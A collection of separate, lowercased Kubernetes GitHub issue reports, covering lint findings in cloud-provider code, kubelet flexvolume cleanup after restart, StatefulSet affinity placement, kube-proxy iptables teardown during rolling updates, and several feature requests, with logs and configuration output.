pkg/cloudprovider/providers/azure/azure_test.go:2656:2: this value of sg is never used  sa4006 \r    \r     cloudprovider/providers/gce/:\r oauth2.nocontext is deprecated, overwritten ctx and miss error checks\r    \r pkg/cloudprovider/providers/gce/gce.go:841:4: oauth2.nocontext is deprecated: use context.background   or context.todo   instead.   sa1019 \r pkg/cloudprovider/providers/gce/gce.go:868:26: oauth2.nocontext is deprecated: use context.background   or context.todo   instead.   sa1019 \r pkg/cloudprovider/providers/gce/gce_instances.go:102:48: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:573:9: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:764:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:803:9: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:815:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:817:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:821:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:824:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:833:13: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:837:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:842:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_external_test.go:1013:9: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_internal_test.go:63:9: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_internal_test.go:109:11: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_internal_test.go:179:9: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_internal_test.go:470:14: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_loadbalancer_internal_test.go:718:9: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/gce/gce_routes.go:40:33: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/gce/gce_routes.go:66:34: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/gce/gce_routes.go:93:34: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/gce/token_source.go:104:29: oauth2.nocontext is deprecated: use context.background   or context.todo   instead.   sa1019 \r    \r     cloudprovider/providers/openstack/:\r missing error check\r    \r pkg/cloudprovider/providers/openstack/openstack_routes_test.go:89:5: this value of err is never used  sa4006 \r    \r     cloudprovider/providers/photon/:\r unused values\r    \r pkg/cloudprovider/providers/photon/photon_test.go:143:2: this value of instanceid is never used  sa4006 \r    \r     cloudprovider/providers/vsphere/:\r missing error check, loop logic issues\r    \r pkg/cloudprovider/providers/vsphere/nodemanager.go:176:5: defers in this range loop won't run unless the channel gets closed  sa9001 \r pkg/cloudprovider/providers/vsphere/vclib/diskmanagers/vmdm.go:129:8: this value of err is never used  sa4006 \r pkg/cloudprovider/providers/vsphere/vsphere.go:596:34: argument ctx is overwritten before first use  sa4009 \r pkg/cloudprovider/providers/vsphere/vsphere_test.go:360:2: this value of instanceid is never used  sa4006 \r pkg/cloudprovider/providers/vsphere/vsphere_util.go:301:3: defers in this infinite loop will never run  sa5003 \r    \r \r hope this report can help to cloud provider working groups. : \r

  \r   what happened  :\r if a container using a flexvolume exits/finishes while kubelet is down, kubelet will fail to reconcile when it starts up again.\r the flexvolume will stay mounted and kubelet will log 'orphaned pods' messages every 2s for that pod.\r \r this situation happened while upgrading from 1.10.5 to 1.10.6.  stop kubelet, upgrade binary, start kubelet \r \r might be related to https://github.com/kubernetes/kubernetes/pull/61685\r \r   what you expected to happen  :\r kubelet should probably notice the container is dead and proceed while cleanup  flexvolume unmount \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - start a pod that uses a flexvolume, with a container running  sleep 30 \r - stop kubelet on the node\r - take a deep breath while waiting for the  sleep 30  to exit\r - start kubelet\r \r   anything else we need to know?  :\r \r relevant kubelet logs from test as described above:\r \r    aug  2 23:03:58 rom kubelet 29830 : i0802 23:03:58.536097   29830 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-5psw8\   uniquename: \ kubernetes.io/secret/566f738e-96a8-11e8-849f-000c29c26193-default-token-5psw8\   pod \ podname\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\  \r aug  2 23:03:58 rom kubelet 29830 : i0802 23:03:58.536372   29830 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ nvidia-driver\   uniquename: \ flexvolume-eai/nvidiaflex/566f738e-96a8-11e8-849f-000c29c26193-nvidia-driver\   pod \ podname\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\  \r aug  2 23:03:58 rom systemd 1 : started kubernetes transient mount for /var/lib/kubelet/pods/566f738e-96a8-11e8-849f-000c29c26193/volumes/kubernetes.io~secret/default-token-5psw8.\r aug  2 23:03:58 rom 2018-08-02 23:03:58.719      nvidiaflex  info  called with:  '/usr/libexec/kubernetes/kubelet-plugins/volume/exec/eai~nvidiaflex/nvidiaflex','mount','/var/lib/kubelet/pods/566f738e-96a8-11e8-849f-000c29c26193/volumes/eai~nvidiaflex/nvidia-driver','{\ kubernetes.io/fsgroup\ :\ 1000\ ,\ kubernetes.io/fstype\ :\ \ ,\ kubernetes.io/pod.name\ :\ podname\ ,\ kubernetes.io/pod.namespace\ :\ namespace\ ,\ kubernetes.io/pod.uid\ :\ 566f738e-96a8-11e8-849f-000c29c26193\ ,\ kubernetes.io/pvorvolumename\ :\ nvidia-driver\ ,\ kubernetes.io/readwrite\ :\ ro\ ,\ kubernetes.io/serviceaccount.name\ :\ default\ }' \r \r <kubelet restart>\r \r aug  2 23:06:10 rom kubelet 27097 : i0802 23:06:10.324333   27097 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ nvidia-driver\   uniquename: \ flexvolume-eai/nvidiaflex/566f738e-96a8-11e8-849f-000c29c26193-nvidia-driver\   pod \ podname\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\  \r aug  2 23:06:10 rom kubelet 27097 : i0802 23:06:10.325401   27097 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-5psw8\   uniquename: \ kubernetes.io/secret/566f738e-96a8-11e8-849f-000c29c26193-default-token-5psw8\   pod \ podname\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\  \r aug  2 23:06:10 rom kubelet 27097 : i0802 23:06:10.428781   27097 reconciler.go:285  volume detached for volume \ nvidia-driver\   uniquename: \ flexvolume-eai/nvidiaflex/566f738e-96a8-11e8-849f-000c29c26193-nvidia-driver\   on node \ rom\  devicepath \ \ \r aug  2 23:06:10 rom kubelet 27097 : i0802 23:06:10.428883   27097 reconciler.go:285  volume detached for volume \ default-token-5psw8\   uniquename: \ kubernetes.io/secret/566f738e-96a8-11e8-849f-000c29c26193-default-token-5psw8\   on node \ rom\  devicepath \ \ \r aug  2 23:06:10 rom kubelet 27097 : w0802 23:06:10.430292   27097 reconciler.go:378  could not construct volume information, cleanup the mounts.  pod.uid 566f738e-96a8-11e8-849f-000c29c26193, volume.specname nvidia-driver : no volume plugin matched\r aug  2 23:06:10 rom kubelet 27097 : e0802 23:06:10.430321   27097 reconciler.go:426  volumehandler.unmountvolumehandler for unmountvolume failed for volume \ \   uniquename: \ nvidia-driver\   pod \ 566f738e-96a8-11e8-849f-000c29c26193\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\   : unmountvolume.findpluginbyname failed for volume \ \   uniquename: \ nvidia-driver\   pod \ 566f738e-96a8-11e8-849f-000c29c26193\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\   : no volume plugin matched\r aug  2 23:06:15 rom kubelet 27097 : i0802 23:06:15.340086   27097 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-5psw8\   uniquename: \ kubernetes.io/secret/566f738e-96a8-11e8-849f-000c29c26193-default-token-5psw8\   pod \ 566f738e-96a8-11e8-849f-000c29c26193\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\  \r aug  2 23:06:15 rom kubelet 27097 : i0802 23:06:15.377133   27097 operation_generator.go:686  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/566f738e-96a8-11e8-849f-000c29c26193-default-token-5psw8\   outervolumespecname: \ default-token-5psw8\   pod \ 566f738e-96a8-11e8-849f-000c29c26193\   uid: \ 566f738e-96a8-11e8-849f-000c29c26193\  . innervolumespecname \ default-token-5psw8\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r aug  2 23:06:28 rom kubelet 27097 : e0802 23:06:28.939908   27097 kubelet_volumes.go:140  orphaned pod \ 566f738e-96a8-11e8-849f-000c29c26193\  found, but volume paths are still present on disk : there were a total of 1 errors similar to this. turn up verbosity to see them.\r aug  2 23:06:30 rom kubelet 27097 : e0802 23:06:30.950495   27097 kubelet_volumes.go:140  orphaned pod \ 566f738e-96a8-11e8-849f-000c29c26193\  found, but volume paths are still present on disk : there were a total of 1 errors similar to this. turn up verbosity to see them.\r aug  2 23:06:32 rom kubelet 27097 : e0802 23:06:32.979160   27097 kubelet_volumes.go:140  orphaned pod \ 566f738e-96a8-11e8-849f-000c29c26193\  found, but volume paths are still present on disk : there were a total of 1 errors similar to this. turn up verbosity to see them.\r aug  2 23:06:34 rom kubelet 27097 : e0802 23:06:34.967918   27097 kubelet_volumes.go:140  orphaned pod \ 566f738e-96a8-11e8-849f-000c29c26193\  found, but volume paths are still present on disk : there were a total of 1 errors similar to this. turn up verbosity to see them.\r aug  2 23:06:36 rom kubelet 27097 : e0802 23:06:36.973604   27097 kubelet_volumes.go:140  orphaned pod \ 566f738e-96a8-11e8-849f-000c29c26193\  found, but volume paths are still present on disk : there were a total of 1 errors similar to this. turn up verbosity to see them\r    \r \r this is what we get if kubelet restarts while the container is still running:\r    \r aug  2 23:18:23 rom kubelet 18596 : i0802 23:18:23.080290   18596 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-5psw8\   uniquename: \ kubernetes.io/secret/6bd1f984-96a9-11e8-849f-000c29c26193-default-token-5psw8\   pod \ podname\   uid: \ 6bd1f984-96a9-11e8-849f-000c29c26193\  \r aug  2 23:18:23 rom kubelet 18596 : i0802 23:18:23.084200   18596 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ nvidia-driver\   uniquename: \ flexvolume-eai/nvidiaflex/6bd1f984-96a9-11e8-849f-000c29c26193-nvidia-driver\   pod \ podname\   uid: \ 6bd1f984-96a9-11e8-849f-000c29c26193\  \r aug  2 23:18:23 rom 2018-08-02 23:18:23.580      nvidiaflex  info  called with:  '/usr/libexec/kubernetes/kubelet-plugins/volume/exec/eai~nvidiaflex/nvidiaflex','mount','/var/lib/kubelet/pods/6bd1f984-96a9-11e8-849f-000c29c26193/volumes/eai~nvidiaflex/nvidia-driver','{\ kubernetes.io/fsgroup\ :\ 1000\ ,\ kubernetes.io/fstype\ :\ \ ,\ kubernetes.io/pod.name\ :\ podname\ ,\ kubernetes.io/pod.namespace\ :\ namespace\ ,\ kubernetes.io/pod.uid\ :\ 6bd1f984-96a9-11e8-849f-000c29c26193\ ,\ kubernetes.io/pvorvolumename\ :\ nvidia-driver\ ,\ kubernetes.io/readwrite\ :\ ro\ ,\ kubernetes.io/serviceaccount.name\ :\ default\ }' \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r node is running 1.10.6\r \r - os  e.g. from /etc/os-release :  version=\ 16.04.2 lts  xenial xerus \  \r - kernel  e.g.  uname -a  :  linux rom 4.15.0-24-generic  26~16.04.1-ubuntu smp fri jun 15 14:35:08 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubeadm\r \r

 \r   what happened  :\r \r a statefulset with nodeaffinity and podantiaffinity placed 2 pods on the same node, despite a node not having any pods on it.\r \r it _seems_ like the nodeaffinity is outweighing the podantiaffinity.\r \r   what you expected to happen  :\r \r all 3 pods of the statefulset to be placed on separate nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i have 3 nodes, tainted and labeled as follows:\r \r name | taints | labels\r ----- | ------ | ------\r ip-10-3-18-153.ec2.internal | dedicated=datastores:noexecute | lifecycle=od\r ip-10-3-18-174.ec2.internal | |\r ip-10-3-19-176.ec2.internal | |\r \r so one node has both a taint and a label, but the others have neither.\r \r my statefulset template spec has the following toleration, node affinity, and pod anti-affinity:\r \r    \r       tolerations:\r       - effect: noexecute\r         key: dedicated\r         operator: equal\r         value: datastores\r       affinity:\r         nodeaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - preference:\r               matchexpressions:\r               - key: lifecycle\r                 operator: in\r                 values:\r                 - od\r             weight: 1\r         podantiaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - podaffinityterm:\r               labelselector:\r                 matchexpressions:\r                 - key: app\r                   operator: in\r                   values:\r                   - cassandra\r               topologykey: kubernetes.io/hostname\r             weight: 10\r    \r \r after updating my statefulset with the above, a rolling restart is triggered, but two pods land on the same node:\r \r    \r $ kubectl get pods -l app=cassandra -o wide\r name          ready     status    restarts   age       ip            node\r cassandra-0   1/1       running   0          11h       10.3.18.233   ip-10-3-18-174.ec2.internal\r cassandra-1   1/1       running   0          11h       10.3.18.210   ip-10-3-18-153.ec2.internal\r cassandra-2   1/1       running   0          11h       10.3.18.142   ip-10-3-18-153.ec2.internal\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:37:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-28t20:13:43z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r aws eks\r    \r \r   anything else we need to know?  :\r \r full output of relevant commands below.\r \r    \r $ kubectl edit sts cassandra\r \r   please edit the object below. lines beginning with a ' ' will be ignored,\r   and an empty file will abort the edit. if an error occurs while saving this file will be\r   reopened with the relevant failures.\r  \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   creationtimestamp: 2018-07-07t21:08:55z\r   generation: 10\r   labels:\r     app: cassandra\r   name: cassandra\r   namespace: default\r   resourceversion: \ 5931136\ \r   selflink: /apis/apps/v1/namespaces/default/statefulsets/cassandra\r   uid: f5409bbd-8229-11e8-a69e-1254143763fe\r spec:\r   podmanagementpolicy: orderedready\r   replicas: 3\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app: cassandra\r   servicename: cassandra\r   template:\r     metadata:\r       annotations:\r         last-deploy: sat jul  7 22:31:38 cdt 2018\r       creationtimestamp: null\r       labels:\r         app: cassandra\r     spec:\r       affinity:\r         nodeaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - preference:\r               matchexpressions:\r               - key: lifecycle\r                 operator: in\r                 values:\r                 - od\r             weight: 1\r         podantiaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - podaffinityterm:\r               labelselector:\r                 matchexpressions:\r                 - key: app\r                   operator: in\r                   values:\r                   - cassandra\r               topologykey: kubernetes.io/hostname\r             weight: 10\r       containers:\r       - image: 853401350379.dkr.ecr.us-east-1.amazonaws.com/cassandra:2.1.11\r         imagepullpolicy: always\r         name: cassandra\r         ports:\r         - containerport: 7000\r           name: intra-node\r           protocol: tcp\r         - containerport: 7001\r           name: tls-intra-node\r           protocol: tcp\r         - containerport: 7199\r           name: jmx\r           protocol: tcp\r         - containerport: 9042\r           name: cql\r           protocol: tcp\r         resources: {}\r         securitycontext:\r           capabilities:\r             add:\r             - ipc_lock\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /mnt/cassandra\r           name: cassandra-data\r         - mountpath: /usr/local/cassandra/conf\r           name: cassandra-config\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 1800\r       tolerations:\r       - effect: noexecute\r         key: dedicated\r         operator: equal\r         value: datastores\r       volumes:\r       - configmap:\r           defaultmode: 420\r           items:\r           - key: cassandra.yaml\r             path: cassandra.yaml\r           - key: cassandra-env.sh\r             path: cassandra-env.sh\r           name: cassandra\r         name: cassandra-config\r   updatestrategy:\r     rollingupdate:\r       partition: 0\r     type: rollingupdate\r   volumeclaimtemplates:\r   - metadata:\r       creationtimestamp: null\r       name: cassandra-data\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 10gi\r       storageclassname: cassandra\r     status:\r       phase: pending\r status:\r   collisioncount: 0\r   currentreplicas: 3\r   currentrevision: cassandra-5444c5b74d\r   observedgeneration: 10\r   readyreplicas: 3\r   replicas: 3\r   updaterevision: cassandra-5444c5b74d\r    \r \r    \r $ kubectl get nodes --show-labels\r name                          status    roles     age       version   labels\r ip-10-3-18-153.ec2.internal   ready     <none>    20h       v1.10.3   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=m5.2xlarge,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-east-1,failure-domain.beta.kubernetes.io/zone=us-east-1c,kubernetes.io/hostname=ip-10-3-18-153.edge.aworks.us,lifecycle=od\r ip-10-3-18-174.ec2.internal   ready     <none>    3d        v1.10.3   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=m5.2xlarge,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-east-1,failure-domain.beta.kubernetes.io/zone=us-east-1c,kubernetes.io/hostname=ip-10-3-18-174.ec2.internaledge.aworks.us\r ip-10-3-19-176.ec2.internal   ready     <none>    3d        v1.10.3   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/instance-type=m5.2xlarge,beta.kubernetes.io/os=linux,failure-domain.beta.kubernetes.io/region=us-east-1,failure-domain.beta.kubernetes.io/zone=us-east-1d,kubernetes.io/hostname=ip-10-3-19-176.ec2.internaledge.aworks.us\r    \r \r    \r $ kubectl describe node ip-10-3-18-153.ec2.internal\r name:               ip-10-3-18-153.ec2.internal\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=m5.2xlarge\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=us-east-1\r                     failure-domain.beta.kubernetes.io/zone=us-east-1c\r                     kubernetes.io/hostname=ip-10-3-18-153.edge.aworks.us\r                     lifecycle=od\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  sat, 04 aug 2018 15:38:27 -0500\r taints:             dedicated=datastores:noexecute\r unschedulable:      false\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   sun, 05 aug 2018 12:22:42 -0500   sat, 04 aug 2018 15:38:27 -0500   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   sun, 05 aug 2018 12:22:42 -0500   sat, 04 aug 2018 15:38:27 -0500   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   sun, 05 aug 2018 12:22:42 -0500   sat, 04 aug 2018 15:38:27 -0500   kubelethasnodiskpressure     kubelet has no disk pressure\r   pidpressure      false   sun, 05 aug 2018 12:22:42 -0500   sat, 04 aug 2018 15:38:27 -0500   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            true    sun, 05 aug 2018 12:22:42 -0500   sat, 04 aug 2018 15:45:58 -0500   kubeletready                 kubelet is posting ready status\r addresses:\r   internalip:  10.3.18.153\r   hostname:    ip-10-3-18-153.edge.aworks.us\r capacity:\r  cpu:                8\r  ephemeral-storage:  20959212ki\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             32125084ki\r  pods:               58\r allocatable:\r  cpu:                8\r  ephemeral-storage:  19316009748\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             32022684ki\r  pods:               58\r system info:\r  machine id:                 905a03d5cd1145bcba120f91633b6fc7\r  system uuid:                ec22d483-dc0c-e726-36a8-252e40c858ad\r  boot id:                    3896b29e-dfb6-45ff-91e0-659b8306be6b\r  kernel version:             4.14.42-61.37.amzn2.x86_64\r  os image:                   amazon linux 2  2017.12  lts release candidate\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://17.6.2\r  kubelet version:            v1.10.3\r  kube-proxy version:         v1.10.3\r providerid:                  aws:///us-east-1c/i-052f3da5886948c9c\r non-terminated pods:          4 in total \r   namespace                  name                cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                ------------  ----------  ---------------  -------------\r   default                    cassandra-1         0  0%         0  0%       0  0%            0  0% \r   default                    cassandra-2         0  0%         0  0%       0  0%            0  0% \r   kube-system                aws-node-b75h4      10m  0%       0  0%       0  0%            0  0% \r   kube-system                kube-proxy-tct8z    100m  1%      0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   resource  requests   limits\r   --------  --------   ------\r   cpu       110m  1%   0  0% \r   memory    0  0%      0  0% \r events:     <none>\r

>  >  \r the comment here in the file https://github.com/kubernetes/kubernetes/blob/f077d6736b968b320a4fcc9fe57a342eae86acc5/pkg/kubectl/cmd/proxy.go l69 is misleading, actually the pods api should be available at localhost:8001/k8s-api/api/v1/pods/ rather than localhost:8001/k8s-api/v1/pods/

what would you like to be added  :\r \r it would be useful if the kubelet exported a metric that contained its own name as a label, for instance:\r \r  kubelet_node_name{job=\ kubelet\ , instance=\ 10.135.73.142:10250\ , name=\ 10.135.73.142\ } .\r \r this name should be consistent with the output of  kubectl get nodes .\r \r   why is this needed  :\r \r this would allow us to join the kubelet metrics against metrics exported by kube-state-metrics.\r \r an example of this can be seen in https://github.com/kubernetes-monitoring/kubernetes-mixin/pull/135.  we've arranged in our cluster for the  instance  labels to be set to the node's name, but this is controlled by prometheus and depends on your scrape & relabelling config.  as such, in general we can't rely on this to be the case - for instance, with the prometheus-operator the  instance  label is a ip:port combo.\r \r /cc @metalmatze @brancz

what happened:\r \r we are running in iptables mode.\r during kube-proxy rolling update, iptables rules and chains will be removed when kube-proxy starts, which will cause service access failure through nodeport/serviceip/servicename before kube-proxy restores the iptables rules, which may take about 3 seconds.\r here are the logs:\r i0410 09:42:19.441454       1 server_others.go:174  tearing down inactive rules.\r i0410 09:42:19.441515       1 iptables.go:425  running iptables -c  output -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j ku\r be-portals-host \r i0410 09:42:19.600621       1 iptables.go:425  running iptables -c  prerouting -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -\r j kube-portals-container \r i0410 09:42:19.609381       1 iptables.go:425  running iptables -c  output -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this mus\r t be the last rule in the chain -j kube-nodeport-host \r i0410 09:42:19.621246       1 iptables.go:425  running iptables -c  prerouting -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this\r  must be the last rule in the chain -j kube-nodeport-container \r i0410 09:42:19.630626       1 iptables.go:425  running iptables -c  input -t filter -m comment --comment ensure that non-local nodeport traffic can flow -j kube-nodeport-no\r n-local \r i0410 09:42:19.640202       1 iptables.go:425  running iptables -f  kube-portals-container -t nat \r i0410 09:42:19.652859       1 iptables.go:425  running iptables -f  kube-portals-host -t nat \r i0410 09:42:19.664206       1 iptables.go:425  running iptables -f  kube-nodeport-host -t nat \r i0410 09:42:19.673266       1 iptables.go:425  running iptables -f  kube-nodeport-container -t nat \r i0410 09:42:19.678544       1 iptables.go:425  running iptables -f  kube-nodeport-non-local -t filter \r i0410 09:42:19.750207       1 iptables.go:425  running iptables -c  output -t nat -m comment --comment kubernetes service portals -j kube-services \r i0410 09:42:19.773586       1 iptables.go:425  running iptables -d  output -t nat -m comment --comment kubernetes service portals -j kube-services \r i0410 09:42:19.827175       1 iptables.go:425  running iptables -c  prerouting -t nat -m comment --comment kubernetes service portals -j kube-services \r i0410 09:42:19.835533       1 iptables.go:425  running iptables -d  prerouting -t nat -m comment --comment kubernetes service portals -j kube-services \r i0410 09:42:19.882856       1 iptables.go:425  running iptables -c  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0410 09:42:19.890014       1 iptables.go:425  running iptables -d  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0410 09:42:19.975624       1 iptables.go:425  running iptables -c  forward -t filter -m comment --comment kubernetes forwarding rules -j kube-forward \r i0410 09:42:20.001667       1 iptables.go:425  running iptables -d  forward -t filter -m comment --comment kubernetes forwarding rules -j kube-forward \r i0410 09:42:20.035182       1 iptables.go:425  running iptables -f  kube-services -t nat \r i0410 09:42:20.052392       1 iptables.go:425  running iptables -x  kube-services -t nat \r i0410 09:42:20.092119       1 iptables.go:425  running iptables -f  kube-postrouting -t nat \r i0410 09:42:20.112857       1 iptables.go:425  running iptables -x  kube-postrouting -t nat \r i0410 09:42:20.167415       1 iptables.go:425  running iptables -f  kube-firewall -t nat \r i0410 09:42:20.181163       1 iptables.go:425  running iptables -x  kube-firewall -t nat \r i0410 09:42:20.186152       1 iptables.go:425  running iptables -f  kube-node-port -t nat \r i0410 09:42:20.194465       1 iptables.go:425  running iptables -x  kube-node-port -t nat \r i0410 09:42:20.203181       1 iptables.go:425  running iptables -f  kube-load-balancer -t nat \r i0410 09:42:20.207824       1 iptables.go:425  running iptables -x  kube-load-balancer -t nat \r i0410 09:42:20.213586       1 iptables.go:425  running iptables -f  kube-mark-masq -t nat \r i0410 09:42:20.259141       1 iptables.go:425  running iptables -x  kube-mark-masq -t nat \r \r what you expected to happen:\r \r service should be accessed successfully.\r \r how to reproduce it  as minimally and precisely as possible :\r \r start the proxy in iptables mode.  access one service on one node and delete the kube-proxy pod on that node.\r \r anything else we need to know?:\r \r environment:\r \r kubernetes version  use kubectl version :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.8\ , gitcommit:\ 4e209c9383fa00631d124c8adcc011d617339b3c\ , gittreestate:\ dirty\ , builddate:\ 2019-03-08t07:39:30z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.8\ , gitcommit:\ 4e209c9383fa00631d124c8adcc011d617339b3c\ , gittreestate:\ dirty\ , builddate:\ 2019-03-08t07:37:18z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r cloud provider or hardware configuration:\r kvm\r \r os  e.g. from /etc/os-release :\r centos linux release 7.2.1511  core  \r \r kernel  e.g. uname -a :\r linux vm-221 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r 

context : please see https://github.com/kubernetes-sigs/kind/pull/428\r \r currently we only test the built-in dockershim cri in all our ci jobs. we should add an option to test  containerd  cri as well. to start we can just use the  containerd  built into docker 18.09 like we did in the kind job above. this should be an optional toggle so we can add some jobs to try the alternate cri.\r \r cc @random-liu @derekwaynecarr \r \r 

while generally a good thing, exponential back-off may not be desired in some situations. it would be nice to be able configure the parameters used for the backoff.

a couple of approaches: - have a group membership list file loaded by the apiserver. - have a group resource that can be created via the apiserver. - defer to some external source of group lists.  do appropriate caching.  this option is spelled out in a bit more detail in  1430   however that is done,  need to be able to write policy  abac.policy in pkg/auth/authorizer/abac/abac.go  that uses group as the subject attribute in place of user, and to put the group membership of a user in the  authorizer.attributes, or give the authorizer.authorizer access to list of group memberships.

hey guys,  i'm currently experiencing an issue regarding loadbalancers and adding / removing nodes from the cluster. since i applied ec2 autoscaling to my minion nodes its regularly the case that new nodes join and other nodes leave the cluster. i witnessed that kubernetes automatically removed them after a certain grace period.  however if i'm deploying something while a node is marked as  notready  when issuing  kubectl get nodes  my servic fails to update the elb it is exposing with the error message below. this leads to my application being completely offline until the node was automatically removed by kubernetes and the service re-tries updating the elb. shouldn't the desired behaviour in this case be to \ skip\  nodes that are  notready ? this would simply lead to the elb having  x out of y  nodes available which is fine from my point of view.      $ kubectl describe service my-service --namespace=\ staging\  name:           my-service namespace:      staging labels:         name=nginx-my-service,role=ssl-proxy selector:       name=nginx-my-service,role=ssl-proxy type:           loadbalancer ip:         10.3.0.53 loadbalancer ingress:   myelb.eu-west-1.elb.amazonaws.com port:           https   443/tcp nodeport:       https   31439/tcp endpoints:      10.2.8.12:443 port:           http    80/tcp nodeport:       http    30056/tcp endpoints:      10.2.8.12:80 session affinity:   none events:   firstseen lastseen    count   from            subobjectpath   type        reason              message   --------- --------    -----   ----            -------------   --------    ------              -------   12m       1m      376 {service-controller }           warning     creatingloadbalancerfailed  error creating load balancer  will retry : failed to create load balancer for service 